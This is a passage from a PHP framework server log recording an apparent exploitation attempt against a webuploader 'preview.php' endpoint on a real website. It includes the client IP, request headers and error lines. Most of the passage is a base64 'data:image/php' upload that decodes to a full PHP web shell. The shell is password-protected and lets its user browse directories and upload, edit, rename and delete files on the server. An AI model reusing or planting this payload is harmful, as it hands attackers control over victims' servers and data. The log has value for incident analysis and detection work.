'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:24+08:00 ] 116.213.36.234 POST 51tianwei.com/public/static/admin/webuploader/0.1.15/server/preview.php [运行时间:0.002510s] [吞吐率:398.40req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 